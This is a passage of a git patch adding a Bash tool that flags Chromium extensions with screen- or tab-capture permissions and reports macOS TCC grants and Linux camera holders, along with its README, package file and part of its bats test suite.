From 9669ec69556af6732664350efe844fd0749a7a1a Mon Sep 17 00:00:00 2001
From: Isaac Bell <2613157+IsaacBell@users.noreply.github.com>
Date: Sat, 19 Sep 2026 15:48:28 -0400
Subject: [PATCH 1/9] feat(am-i-being-recorded): name the extension behind a
 capture indicator

Audit Chromium-family extension permissions (desktopCapture, tabCapture, debugger, ...) to identify which extension can hold a screen-recording stream, since the OS indicator names only the app. Adds macOS daemon/TCC capture context and Linux camera-device context, a severity floor, and strict mode. Runs on macOS and Linux; wired as 'mise run am-i-being-recorded'.
---
 README.md                                     |   3 +
 apps/am-i-being-recorded/LICENSE              |  21 +
 apps/am-i-being-recorded/README.md            | 116 +++++
 .../bin/am-i-being-recorded.sh                | 472 ++++++++++++++++++
 apps/am-i-being-recorded/package.json         |  60 +++
 .../test/am-i-being-recorded.bats             | 222 ++++++++
 mise.toml                                     |   7 +
 pnpm-lock.yaml                                |  12 +
 8 files changed, 913 insertions(+)
 create mode 100644 apps/am-i-being-recorded/LICENSE
 create mode 100644 apps/am-i-being-recorded/README.md
 create mode 100644 apps/am-i-being-recorded/bin/am-i-being-recorded.sh
 create mode 100644 apps/am-i-being-recorded/package.json
 create mode 100644 apps/am-i-being-recorded/test/am-i-being-recorded.bats

diff --git a/README.md b/README.md
index b6e1970..a40794a 100644
--- a/README.md
+++ b/README.md
@@ -23,6 +23,7 @@ Dev-time security tools for detecting compromised code, dependencies, and supply
 | Package | Description |
 | --- | --- |
 | [`am-i-compromised`](apps/am-i-compromised/README.md) | Compromise scanner - checks for malicious code and compromised files. Publishes to npm. |
+| [`am-i-being-recorded`](apps/am-i-being-recorded/README.md) | Local capture-surface audit - names the browser extension behind a screen-recording indicator. |
 | [`secure-semgrep`](apps/secure-semgrep/README.md) | Bundled Semgrep rules + loadout packs for AI-agent, bash & web security scans. Publishes to npm. |
 
 ## Requirements
@@ -72,6 +73,8 @@ commit.
 - `apps/am-i-compromised/` — the npm package (see its [README](apps/am-i-compromised/README.md))
 - `apps/am-i-compromised/test/__security_gate_fixtures__/` — quarantined malware samples used to
   test the scanner (**never execute or import these**)
+- `apps/am-i-being-recorded/` — local capture-surface audit (see its
+  [README](apps/am-i-being-recorded/README.md))
 - `.github/workflows/` — CI: checks + security gate + gitleaks secret scan + dependency review
   + CodeAnt AI scan (opt-in via repository variable)
 - `mise.toml` — tool versions and tasks, shared by local dev and CI
diff --git a/apps/am-i-being-recorded/LICENSE b/apps/am-i-being-recorded/LICENSE
new file mode 100644
index 0000000..ff1fb85
--- /dev/null
+++ b/apps/am-i-being-recorded/LICENSE
@@ -0,0 +1,21 @@
+MIT License
+
+Copyright (c) 2026 Isaac Bell
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
diff --git a/apps/am-i-being-recorded/README.md b/apps/am-i-being-recorded/README.md
new file mode 100644
index 0000000..096bc4c
--- /dev/null
+++ b/apps/am-i-being-recorded/README.md
@@ -0,0 +1,116 @@
+# am-i-being-recorded
+
+[![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](LICENSE)
+[![CI](https://github.com/IsaacBell/secure-devtools/actions/workflows/ci.yml/badge.svg)](https://github.com/IsaacBell/secure-devtools/actions/workflows/ci.yml)
+
+Find out **which browser extension is recording your screen** — and what else on
+the machine can capture you.
+
+The sibling of [`am-i-compromised`](https://www.npmjs.com/package/am-i-compromised):
+that one audits your *code*, this one audits your *machine*.
+
+macOS attributes an active capture to the *application*, never the tab or
+extension responsible. A purple indicator that says "Brave Browser is recording
+your screen" is accurate but not actionable. This tool turns that attribution
+back into a name.
+
+## What it checks
+
+**Browser extensions (macOS and Linux).** Reads Chromium-family profile
+directories (Brave, Chrome, Chromium, Edge, Vivaldi) and flags extensions whose
+permissions allow display capture, tab capture, or deep browser control:
+
+| Permission | Severity | Why it matters |
+| --- | --- | --- |
+| `desktopCapture` | CRITICAL | Can record the entire display |
+| `tabCapture` | HIGH | Can record the active tab's audio/video |
+| `debugger` | HIGH | Full tab control over the DevTools protocol |
+| `nativeMessaging` | MEDIUM | Can launch a native helper process |
+| `userScripts` | MEDIUM | Can inject arbitrary scripts into pages |
+| `management` | LOW | Can enable or disable other extensions |
+
+Two combinations escalate:
+
+- `desktopCapture` + access to every site (`<all_urls>`) — recordings can
+  include any page you visit.
+- any capture permission + `offscreen` — the stream can outlive the tab or
+  window that requested it, which is the shape of a "stuck" indicator.
+
+Only the newest installed version of an extension is reported once per profile;
+Chromium leaves older version directories behind, and they are not loaded.
+
+**Live context (not findings).** On macOS: whether `screensharingd` and
+`replayd` are running, and which apps hold camera/microphone/screen-recording
+grants in the TCC privacy database. On Linux: which process holds a camera
+device. These lines are context for a human; findings come only from extension
+capabilities, so there is no "known good app" allowlist to maintain.
+
+## Requirements
+
+| Dependency | Needed for | Install |
+| --- | --- | --- |
+| `bash` 4+ | running the tool | preinstalled on macOS/Linux |
+| `jq` | reading extension manifests | `brew install jq` / `apt-get install jq` |
+| `sqlite3` | macOS TCC grants (optional) | preinstalled on macOS |
+| `lsof` | Linux camera holders (optional) | preinstalled on most distros |
+
+## Usage
+
+```sh
+# Audit every detected browser profile on this machine
+am-i-being-recorded
+
+# Only the loud stuff
+am-i-being-recorded --min-severity HIGH
+
+# Gate mode: non-zero exit when anything at or above the floor is found
+am-i-being-recorded --strict
+
+# Scan a fixture tree instead of the live profiles (used by the tests)
+am-i-being-recorded --root ./fixtures --no-live
+```
+
+Findings are severity-tagged and printed highest first. The default mode is
+**evidence**: findings are reported and the exit status stays `0`. `--strict`
+turns any reported finding into exit status `1`.
+
+## Reading the output
+
+A stuck capture is usually an extension holding a display stream. The finding
+that explains the indicator names the extension, its ID, its version, and the
+profile it lives in:
+
+```text
+  CRITICAL Awesome Screen Recorder & Screenshot (nlipoenfbbikpbjkfpfillcgkoblgpmj) v4.4.44
+           BraveSoftware/Brave-Browser/Default - Can capture the entire display (screen recording)
+  HIGH     Awesome Screen Recorder & Screenshot (nlipoenfbbikpbjkfpfillcgkoblgpmj) v4.4.44
+           BraveSoftware/Brave-Browser/Default - Capture permission plus an offscreen document can outlive the visible tab
+```
+
+To stop the capture, disable or remove that extension in `brave://extensions`
+(or `chrome://extensions`), then restart the browser so the indicator clears.
+An extension installed in several profiles shows up once per profile.
+
+## Limitations
+
+- The extension pass reports *capability*, not proof of an active stream. A
+  screen recorder you installed and use on purpose will (correctly) be flagged.
+- Live context is best-effort. macOS Screen Recording grants need root or Full
+  Disk Access to read; the TCC schema is undocumented and may change. The tool
+  says so instead of guessing.
+- Detection covers Chromium-family extensions. Safari and Firefox extensions,
+  standalone recorder apps, and a page's own `getDisplayMedia` prompt are out of
+  scope.
+- This is not a malware scanner. Treat it as triage that names a suspect.
+
+## Development
+
+```sh
+pnpm test          # bats test suite
+pnpm lint          # shellcheck
+pnpm format:check  # shfmt
+pnpm check         # all of the above
+```
+
+The test suite drives the filesystem pass against synthetic profile trees, so
+it runs without touching the host's real browser data and passes on Linux CI.
diff --git a/apps/am-i-being-recorded/bin/am-i-being-recorded.sh b/apps/am-i-being-recorded/bin/am-i-being-recorded.sh
new file mode 100644
index 0000000..af1bf5d
--- /dev/null
+++ b/apps/am-i-being-recorded/bin/am-i-being-recorded.sh
@@ -0,0 +1,472 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+# am-i-being-recorded: report the capture surfaces on this machine.
+#
+# An operating-system indicator such as "Brave Browser is recording your screen"
+# names the whole application, never the tab, page, or extension responsible.
+# This tool turns that attribution back into a specific extension.
+#
+# Two passes:
+#
+#   1. Browser extensions (macOS and Linux). Reads Chromium-family profile
+#      directories and flags installed extensions whose permissions allow
+#      display capture, tab capture, or deep browser control. This pass is
+#      filesystem-only, so the test suite drives it against fixture trees with
+#      --root.
+#
+#   2. Live state (best effort, per platform). On macOS it reports the capture
+#      daemons and the camera/microphone/screen-recording grants in the TCC
+#      privacy database. On Linux it reports which process holds a camera
+#      device. Live lines are context, never findings.
+#
+# Findings therefore come only from extension capabilities, which keeps the
+# report portable and free of a "known good app" allowlist that would rot.
+#
+# Report model: findings are severity-tagged (CRITICAL/HIGH/MEDIUM/LOW).
+# Default mode is evidence: findings are printed and the exit status stays 0.
+# --strict turns any finding at or above the severity floor into exit status 1.
+
+readonly SCRIPT_NAME="${0##*/}"
+
+if [[ -t 1 && -z "${NO_COLOR:-}" ]]; then
+	readonly C_BOLD=$'\033[1m'
+	readonly C_DIM=$'\033[2m'
+	readonly C_RED=$'\033[31m'
+	readonly C_YELLOW=$'\033[33m'
+	readonly C_CYAN=$'\033[36m'
+	readonly C_GREEN=$'\033[32m'
+	readonly C_RESET=$'\033[0m'
+else
+	readonly C_BOLD="" C_DIM="" C_RED="" C_YELLOW="" C_CYAN="" C_GREEN="" C_RESET=""
+fi
+
+readonly SEVERITIES=(CRITICAL HIGH MEDIUM LOW)
+
+# Browser data directories, relative to the platform's application-data root.
+# macOS and Linux spellings are both listed; only existing directories match.
+readonly BROWSER_RELS=(
+	'BraveSoftware/Brave-Browser'
+	'Google/Chrome'
+	'Chromium'
+	'Microsoft Edge'
+	'Vivaldi'
+	'google-chrome'
+	'chromium'
+	'microsoft-edge'
+	'vivaldi'
+)
+
+# Permission to severity. Each entry is "SEVERITY<TAB>PERMISSION<TAB>DETAIL".
+# Only permissions that can observe the user or drive the browser are listed;
+# ordinary permissions (storage, tabs, alarms) are deliberately ignored so the
+# report stays actionable.
+readonly PERM_RULES=(
+	$'CRITICAL\tdesktopCapture\tCan capture the entire display (screen recording)'
+	$'HIGH\ttabCapture\tCan capture the active tab audio/video'
+	$'HIGH\tdebugger\tCan attach to tabs over the DevTools protocol'
+	$'MEDIUM\tnativeMessaging\tCan launch a native helper process'
+	$'MEDIUM\tuserScripts\tCan inject arbitrary scripts into pages'
+	$'LOW\tmanagement\tCan enable or disable other extensions'
+)
+
+readonly CAPTURE_PERMS=('desktopCapture' 'tabCapture')
+readonly BROAD_HOSTS=('<all_urls>' '*://*/*' 'http://*/*' 'https://*/*')
+
+MIN_SEVERITY='LOW'
+
+declare -a F_SEV=() F_SCOPE=() F_SUBJECT=() F_DETAIL=()
+declare -a NOTES=()
+declare -A SEV_TOTAL=([CRITICAL]=0 [HIGH]=0 [MEDIUM]=0 [LOW]=0)
+
+add_finding() {
+	local severity="$1" scope="$2" subject="$3" detail="$4"
+	F_SEV+=("$severity")
+	F_SCOPE+=("$scope")
+	F_SUBJECT+=("$subject")
+	F_DETAIL+=("$detail")
+	SEV_TOTAL["$severity"]=$((SEV_TOTAL["$severity"] + 1))
+}
+
+severity_rank() {
+	case "$1" in
+	CRITICAL) printf '0' ;;
+	HIGH) printf '1' ;;
+	MEDIUM) printf '2' ;;
+	LOW) printf '3' ;;
+	*) printf '9' ;;
+	esac
+}
+
+total_findings() {
+	printf '%s' "$((SEV_TOTAL[CRITICAL] + SEV_TOTAL[HIGH] + SEV_TOTAL[MEDIUM] + SEV_TOTAL[LOW]))"
+}
+
+# Count only the findings at or above the current severity floor.
+reported_findings() {
+	local total=0 floor sev
+	floor="$(severity_rank "$MIN_SEVERITY")"
+	for sev in "${SEVERITIES[@]}"; do
+		if [[ "$(severity_rank "$sev")" -le "$floor" ]]; then
+			total=$((total + SEV_TOTAL[$sev]))
+		fi
+	done
+	printf '%s' "$total"
+}
+
+severity_color() {
+	case "$1" in
+	CRITICAL | HIGH) printf '%s' "$C_RED" ;;
+	MEDIUM) printf '%s' "$C_YELLOW" ;;
+	*) printf '%s' "$C_CYAN" ;;
+	esac
+}
+
+usage() {
+	cat <<'EOF'
+usage: am-i-being-recorded [options]
+
+Audit screen/tab capture surfaces and the browser extensions that can start
+them. Scans Chromium-family profiles (Brave, Chrome, Chromium, Edge, Vivaldi)
+on macOS and Linux.
+
+Options:
+  --root DIR            application-data directory to scan for browser profiles
+                        (default: platform-specific; used by tests)
+  --min-severity LEVEL  only report findings at or above LEVEL
+                        (CRITICAL|HIGH|MEDIUM|LOW, default: LOW)
+  --no-live             skip the live platform checks (daemons, TCC, devices)
+  --strict              exit 1 when any reported finding exists (gate mode)
+  -h, --help            show this help
+
+Severity: CRITICAL > HIGH > MEDIUM > LOW
+EOF
+}
+
+default_root() {
+	case "$(uname -s)" in
+	Darwin) printf '%s' "$HOME/Library/Application Support" ;;
+	*) printf '%s' "${XDG_CONFIG_HOME:-$HOME/.config}" ;;
+	esac
+}
+
+# list_has <needle> <newline-separated list>
+list_has() {
+	grep -qxF -- "$1" <<<"$2"
+}
+
+# Chromium stores localized manifest names as "__MSG_key__"; the value lives in
+# _locales/<lang>/messages.json. Resolve to a human name when possible.
+resolve_name() {
+	local manifest="$1"
+	local name extdir key msg resolved
+	name="$(jq -r '.name // empty' "$manifest" 2>/dev/null || true)"
+	if [[ "$name" =~ ^__MSG_(.+)__$ ]]; then
+		key="${BASH_REMATCH[1]}"
+		extdir="$(dirname "$manifest")"
+		for msg in "$extdir"/_locales/en*/messages.json; do
+			[[ -f "$msg" ]] || continue
+			resolved="$(jq -r --arg k "$key" '.[$k].message // empty' "$msg" 2>/dev/null || true)"
+			if [[ -n "$resolved" ]]; then
+				name="$resolved"
+				break
+			fi
+		done
+		# A localized name whose key is missing from _locales is not a name.
+		if [[ "$name" == __MSG_*__ ]]; then
+			name="(unknown)"
+		fi
+	fi
+	[[ -n "$name" ]] || name="(unknown)"
+	printf '%s' "$name"
+}
+
+audit_manifest() {
+	local label="$1" extdir="$2" manifest="$3"
+	local rest id name version subject
+	rest="${manifest#"$extdir"/}"
+	id="${rest%%/*}"
+	name="$(resolve_name "$manifest")"
+	version="$(jq -r '.version // "?"' "$manifest" 2>/dev/null || printf '?')"
+	subject="$name ($id) v$version"
+
+	local perms optional hosts
+	perms="$(jq -r '(.permissions // []) | join("\n")' "$manifest" 2>/dev/null || true)"
+	optional="$(jq -r '(.optional_permissions // []) | join("\n")' "$manifest" 2>/dev/null || true)"
+	hosts="$(jq -r '(.host_permissions // []) | join("\n")' "$manifest" 2>/dev/null || true)"
+
+	local rule sev perm detail
+	for rule in "${PERM_RULES[@]}"; do
+		IFS=$'\t' read -r sev perm detail <<<"$rule"
+		if list_has "$perm" "$perms"; then
+			add_finding "$sev" "$label" "$subject" "$detail"
+		elif list_has "$perm" "$optional"; then
+			add_finding "$sev" "$label" "$subject" "$detail (optional, granted at runtime)"
+		fi
+	done
+
+	# A capture permission is worst when the extension can also read every site,
+	# because the recording can include any page the user visits.
+	local broad=0 host
+	for host in "${BROAD_HOSTS[@]}"; do
+		if list_has "$host" "$hosts"; then
+			broad=1
+			break
+		fi
+	done
+	if [[ "$broad" -eq 1 ]] && list_has 'desktopCapture' "$perms"; then
+		add_finding HIGH "$label" "$subject" \
+			'Display capture plus access to every site: recordings can include any page'
+	fi
+
+	# An offscreen document keeps a capture stream alive after the tab or window
+	# that requested it is gone, which is the shape of a "stuck" indicator.
+	if list_has 'offscreen' "$perms"; then
+		local capture
+		for capture in "${CAPTURE_PERMS[@]}"; do
+			if list_has "$capture" "$perms"; then
+				add_finding HIGH "$label" "$subject" \
+					'Capture permission plus an offscreen document can outlive the visible tab'
+				break
+			fi
+		done
+	fi
+}
+
+audit_profile() {
+	local label="$1" profile="$2"
+	local extdir="$profile/Extensions"
+	[[ -d "$extdir" ]] || return 0
+	local id_dir id version_dir manifest
+	for id_dir in "$extdir"/*/; do
+		[[ -d "$id_dir" ]] || continue
+		id="$(basename "$id_dir")"
+		# Chromium leaves older version directories behind after an update.
+		# Only the newest one is loaded, so report it once instead of once per
+		# stale copy.
+		version_dir="$(printf '%s\n' "$id_dir"*/ | sort -V | tail -1)"
+		manifest="${version_dir}manifest.json"
+		[[ -f "$manifest" ]] || continue
+		audit_manifest "$label" "$extdir" "$manifest"
+	done
+}
+
+audit_browser() {
+	local base="$1" rel="$2"
+	local dir="$base/$rel"
+	[[ -d "$dir" ]] || return 0
+	local profile
+	for profile in "$dir"/*/; do
+		[[ -d "$profile" ]] || continue
+		audit_profile "$rel/$(basename "$profile")" "${profile%/}"
+	done
+}
+
+audit_extensions() {
+	local base="$1" found=0 rel
+	for rel in "${BROWSER_RELS[@]}"; do
+		if [[ -d "$base/$rel" ]]; then
+			found=1
+			audit_browser "$base" "$rel"
+		fi
+	done
+	if [[ "$found" -eq 0 ]]; then
+		NOTES+=("no browser profiles found under $base")
+	fi
+}
+
+live_check_macos() {
+	if pgrep -x screensharingd >/dev/null 2>&1; then
+		NOTES+=('screensharingd is running: screen sharing may be active')
+	else
+		NOTES+=('screensharingd is not running')
+	fi
+	if pgrep -x replayd >/dev/null 2>&1; then
+		NOTES+=('replayd (system capture service) is running')
+	fi
+
+	# TCC is the macOS privacy database. Camera and microphone grants live in
+	# the per-user database. Screen Recording grants live in the system database
+	# and need root or Full Disk Access. Both are reported as context; the
+	# schema is undocumented and may change between releases, so every read is
+	# best-effort.
+	local userdb="$HOME/Library/Application Support/com.apple.TCC/TCC.db"
+	if [[ -r "$userdb" ]] && command -v sqlite3 >/dev/null 2>&1; then
+		local service client
+		while IFS='|' read -r service client; do
+			[[ -n "$client" ]] || continue
+			NOTES+=("TCC $service granted to $client")
+		done < <(sqlite3 "$userdb" \
+			"select service, client from access where service in ('kTCCServiceCamera','kTCCServiceMicrophone') and auth_value=2 order by service, client;" \
+			2>/dev/null || true)
+	else
+		NOTES+=('camera/microphone grants unavailable (TCC database not readable)')
+	fi
+
+	local sysdb='/Library/Application Support/com.apple.TCC/TCC.db'
+	if [[ -r "$sysdb" ]] && command -v sqlite3 >/dev/null 2>&1; then
+		local client
+		while IFS='|' read -r client; do
+			[[ -n "$client" ]] || continue
+			NOTES+=("screen-recording grant: $client")
+		done < <(sqlite3 "$sysdb" \
+			"select client from access where service='kTCCServiceScreenCapture' and auth_value=2 order by client;" \
+			2>/dev/null || true)
+	else
+		NOTES+=('screen-recording grants unavailable (system TCC needs root or Full Disk Access)')
+	fi
+}
+
+live_check_linux() {
+	local -a devices=()
+	local device
+	while IFS= read -r device; do
+		[[ -n "$device" ]] && devices+=("$device")
+	done < <(ls /dev/video* 2>/dev/null || true)
+
+	if [[ "${#devices[@]}" -eq 0 ]]; then
+		NOTES+=('no /dev/video* camera devices found')
+		return 0
+	fi
+
+	if ! command -v lsof >/dev/null 2>&1; then
+		NOTES+=('camera devices present; install lsof to see which process holds them')
+		return 0
+	fi
+
+	local holders
+	holders="$(lsof "${devices[@]}" 2>/dev/null | awk 'NR > 1 { print $1 " (pid " $2 ")" }' | sort -u || true)"
+	if [[ -n "$holders" ]]; then
+		while IFS= read -r device; do
+			[[ -n "$device" ]] && NOTES+=("camera device in use by: $device")
+		done <<<"$holders"
+	else
+		NOTES+=('no process is holding a camera device')
+	fi
+}
+
+live_check() {
+	case "$(uname -s)" in
+	Darwin) live_check_macos ;;
+	Linux) live_check_linux ;;
+	*) NOTES+=("live checks skipped: unsupported platform $(uname -s)") ;;
+	esac
+}
+
+print_section() {
+	printf '\n%s%s%s\n' "$C_BOLD" "$1" "$C_RESET"
+}
+
+print_report() {
+	print_section "Capture-surface findings"
+	local floor reported
+	floor="$(severity_rank "$MIN_SEVERITY")"
+	reported="$(reported_findings)"
+	if [[ "$reported" -eq 0 ]]; then
+		printf '  %sno findings%s\n' "$C_GREEN" "$C_RESET"
+	else
+		local sev i color
+		for sev in "${SEVERITIES[@]}"; do
+			[[ "${SEV_TOTAL[$sev]}" -gt 0 ]] || continue
+			[[ "$(severity_rank "$sev")" -le "$floor" ]] || continue
+			color="$(severity_color "$sev")"
+			for i in "${!F_SEV[@]}"; do
+				[[ "${F_SEV[$i]}" == "$sev" ]] || continue
+				printf '  %s%-8s%s %s\n' "$color" "$sev" "$C_RESET" "${F_SUBJECT[$i]}"
+				printf '           %s%s - %s%s\n' "$C_DIM" "${F_SCOPE[$i]}" "${F_DETAIL[$i]}" "$C_RESET"
+			done
+		done
+	fi
+
+	print_section "Live context"
+	if [[ "${#NOTES[@]}" -eq 0 ]]; then
+		printf '  %snone%s\n' "$C_DIM" "$C_RESET"
+	else
+		local note
+		for note in "${NOTES[@]}"; do
+			printf '  %s\n' "$note"
+		done
+	fi
+
+	printf '\n%sSummary%s: %s of %s finding(s) shown (CRITICAL %s, HIGH %s, MEDIUM %s, LOW %s); floor %s\n' \
+		"$C_BOLD" "$C_RESET" "$reported" "$(total_findings)" \
+		"${SEV_TOTAL[CRITICAL]}" "${SEV_TOTAL[HIGH]}" "${SEV_TOTAL[MEDIUM]}" "${SEV_TOTAL[LOW]}" \
+		"$MIN_SEVERITY"
+}
+
+main() {
+	local root="" strict=0 live=1
+	while [[ $# -gt 0 ]]; do
+		case "$1" in
+		--root)
+			if [[ $# -lt 2 ]]; then
+				echo "$SCRIPT_NAME: --root requires a directory" >&2
+				exit 2
+			fi
+			root="$2"
+			shift 2
+			;;
+		--min-severity)
+			if [[ $# -lt 2 ]]; then
+				echo "$SCRIPT_NAME: --min-severity requires a level" >&2
+				exit 2
+			fi
+			case "$2" in
+			CRITICAL | HIGH | MEDIUM | LOW) MIN_SEVERITY="$2" ;;
+			*)
+				echo "$SCRIPT_NAME: invalid severity '$2' (want CRITICAL, HIGH, MEDIUM, or LOW)" >&2
+				exit 2
+				;;
+			esac
+			shift 2
+			;;
+		--no-live)
+			live=0
+			shift
+			;;
+		--strict)
+			strict=1
+			shift
+			;;
+		-h | --help)
+			usage
+			exit 0
+			;;
+		*)
+			echo "$SCRIPT_NAME: unknown argument '$1'" >&2
+			usage >&2
+			exit 2
+			;;
+		esac
+	done
+
+	if ! command -v jq >/dev/null 2>&1; then
+		echo "$SCRIPT_NAME: jq is required to read extension manifests but was not found on PATH." >&2
+		exit 1
+	fi
+
+	if [[ -n "$root" && ! -d "$root" ]]; then
+		echo "$SCRIPT_NAME: '$root' is not a directory" >&2
+		exit 2
+	fi
+	[[ -n "$root" ]] || root="$(default_root)"
+
+	local display_root
+	display_root="$(cd "$root" 2>/dev/null && pwd || printf '%s' "$root")"
+	printf '%s%s%s\n' "$C_BOLD" "$SCRIPT_NAME" "$C_RESET"
+	printf '%sroot: %s%s\n' "$C_DIM" "$display_root" "$C_RESET"
+
+	audit_extensions "$root"
+	if [[ "$live" -eq 1 ]]; then
+		live_check
+	fi
+
+	print_report
+
+	if [[ "$strict" -eq 1 && "$(reported_findings)" -gt 0 ]]; then
+		return 1
+	fi
+	return 0
+}
+
+main "$@"
diff --git a/apps/am-i-being-recorded/package.json b/apps/am-i-being-recorded/package.json
new file mode 100644
index 0000000..2c8f152
--- /dev/null
+++ b/apps/am-i-being-recorded/package.json
@@ -0,0 +1,60 @@
+{
+  "name": "am-i-being-recorded",
+  "version": "0.1.0",
+  "description": "Audit screen/tab capture surfaces and the browser extensions that can start them",
+  "license": "MIT",
+  "author": "Isaac Bell <contact@isaacbell.io>",
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/IsaacBell/secure-devtools.git",
+    "directory": "apps/am-i-being-recorded"
+  },
+  "bugs": {
+    "url": "https://github.com/IsaacBell/secure-devtools/issues"
+  },
+  "homepage": "https://github.com/IsaacBell/secure-devtools/tree/main/apps/am-i-being-recorded",
+
+  "os": [
+    "darwin",
+    "linux"
+  ],
+
+  "bin": {
+    "am-i-being-recorded": "bin/am-i-being-recorded.sh"
+  },
+
+  "files": [
+    "bin",
+    "README.md",
+    "LICENSE"
+  ],
+
+  "scripts": {
+    "test": "bats test",
+    "lint": "shellcheck bin/*.sh",
+    "format:check": "shfmt -d bin",
+    "format": "shfmt -w bin",
+    "check": "pnpm lint && pnpm format:check && pnpm test",
+    "ci": "pnpm check"
+  },
+
+  "devDependencies": {
+    "bats": "^1.13.0",
+    "bats-assert": "^2.2.4",
+    "bats-support": "^0.3.0"
+  },
+
+  "keywords": [
+    "security",
+    "macos",
+    "linux",
+    "screen-recording",
+    "privacy",
+    "browser-extensions",
+    "capture"
+  ],
+
+  "engines": {
+    "node": ">=20"
+  }
+}
diff --git a/apps/am-i-being-recorded/test/am-i-being-recorded.bats b/apps/am-i-being-recorded/test/am-i-being-recorded.bats
new file mode 100644
index 0000000..ffa1a05
--- /dev/null
+++ b/apps/am-i-being-recorded/test/am-i-being-recorded.bats
@@ -0,0 +1,222 @@
+#!/usr/bin/env bats
+# test/am-i-being-recorded.bats
+#
+# Test suite for am-i-being-recorded (bin/am-i-being-recorded.sh).
+#
+# The filesystem pass is driven against synthetic Chromium profile trees.
+# Every case passes --no-live, so the platform checks never run and the suite
+# behaves identically on macOS and Linux CI.
+#
+# The host toolchain (bash, jq) is provided by mise — see ../mise.toml.
+
+setup() {
+  bats_require_minimum_version 1.5.0
+  local node_modules_dir
+  node_modules_dir="$(cd "$BATS_TEST_DIRNAME/.." && pnpm root)"
+  BATS_LIB_PATH="${BATS_LIB_PATH:-}:${node_modules_dir}"
+  bats_load_library bats-support
+  bats_load_library bats-assert
+
+  SCRIPT="$BATS_TEST_DIRNAME/../bin/am-i-being-recorded.sh"
+  TMP="$(mktemp -d)"
+}
+
+teardown() {
+  rm -rf "$TMP"
+}
+
+# --- helpers ---------------------------------------------------------------------
+
+audit() {
+  run bash "$SCRIPT" --root "$TMP" --no-live "$@"
+}
+
+# write_extension <browser_rel> <profile> <id> <version> <manifest-json>
+write_extension() {
+  local rel="$1" profile="$2" id="$3" version="$4" manifest="$5"
+  local dir="$TMP/$rel/$profile/Extensions/$id/$version"
+  mkdir -p "$dir"
+  printf '%s\n' "$manifest" >"$dir/manifest.json"
+}
+
+# write_locale <browser_rel> <profile> <id> <version> <key> <message>
+write_locale() {
+  local rel="$1" profile="$2" id="$3" version="$4" key="$5" message="$6"
+  local dir="$TMP/$rel/$profile/Extensions/$id/$version/_locales/en"
+  mkdir -p "$dir"
+  printf '{"%s":{"message":"%s"}}\n' "$key" "$message" >"$dir/messages.json"
+}
+
+BENIGN_ID="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"
+
+# --- CLI contract ----------------------------------------------------------------
+
+@test "prints usage with --help" {
+  run bash "$SCRIPT" --help
+  assert_success
+  assert_output --partial "usage: am-i-being-recorded"
+}
+
+@test "rejects an unknown argument" {
+  run bash "$SCRIPT" --nope
+  assert_failure 2
+  assert_output --partial "unknown argument"
+}
+
+@test "rejects a --root that is not a directory" {
+  run bash "$SCRIPT" --root "$TMP/missing"
+  assert_failure 2
+  assert_output --partial "is not a directory"
+}
+
+@test "requires a value for --root" {
+  run bash "$SCRIPT" --root
+  assert_failure 2
+  assert_output --partial "--root requires a directory"
+}
+
+@test "rejects an invalid --min-severity" {
+  run bash "$SCRIPT" --min-severity LOUD
+  assert_failure 2
+  assert_output --partial "invalid severity"
+}
+
+# --- detection -------------------------------------------------------------------
+
+@test "a benign extension produces no findings" {
+  write_extension "BraveSoftware/Brave-Browser" "Default" "$BENIGN_ID" "1.0.0" \
+    '{"name":"Tabs Helper","version":"1.0.0","permissions":["storage","tabs","alarms"]}'
+  audit
+  assert_success
+  assert_output --partial "no findings"
+}
+
+@test "desktopCapture is reported as CRITICAL" {
+  write_extension "BraveSoftware/Brave-Browser" "Default" "$BENIGN_ID" "4.4.44" \
+    '{"name":"Awesome Screen Recorder","version":"4.4.44","permissions":["desktopCapture"]}'
+  audit
+  assert_success
+  assert_output --partial "CRITICAL"
+  assert_output --partial "Can capture the entire display"
+}
+
+@test "Linux browser profile layouts are scanned" {
+  write_extension "google-chrome" "Default" "$BENIGN_ID" "1.0.0" \
+    '{"name":"Recorder","version":"1.0.0","permissions":["desktopCapture"]}'
+  audit
+  assert_output --partial "CRITICAL"
+  assert_output --partial "google-chrome/Default"
+}
+
+@test "browser and profile are named in the finding scope" {
+  write_extension "Google/Chrome" "Profile 2" "$BENIGN_ID" "1.0.0" \
+    '{"name":"Capture Thing","version":"1.0.0","permissions":["desktopCapture"]}'
+  audit
+  assert_output --partial "Google/Chrome/Profile 2"
+}
+
+@test "only the newest version of a multi-version extension is reported" {
+  write_extension "BraveSoftware/Brave-Browser" "Default" "$BENIGN_ID" "1.0.0" \
+    '{"name":"Recorder","version":"1.0.0","permissions":["desktopCapture"]}'
+  write_extension "BraveSoftware/Brave-Browser" "Default" "$BENIGN_ID" "2.0.0" \
+    '{"name":"Recorder","version":"2.0.0","permissions":["desktopCapture"]}'
+  audit
+  assert_output --partial "v2.0.0"
+  refute_output --partial "v1.0.0"
+}
+
+@test "--strict exits 1 when findings exist" {
+  write_extension "BraveSoftware/Brave-Browser" "Default" "$BENIGN_ID" "1.0.0" \
+    '{"name":"Recorder","version":"1.0.0","permissions":["desktopCapture"]}'
+  run bash "$SCRIPT" --root "$TMP" --no-live --strict
+  assert_failure 1
+}
+
+@test "--strict exits 0 when there are no findings" {
+  run bash "$SCRIPT" --root "$TMP" --no-live --strict
+  assert_success
+}
+
+@test "--min-severity hides findings below the floor" {
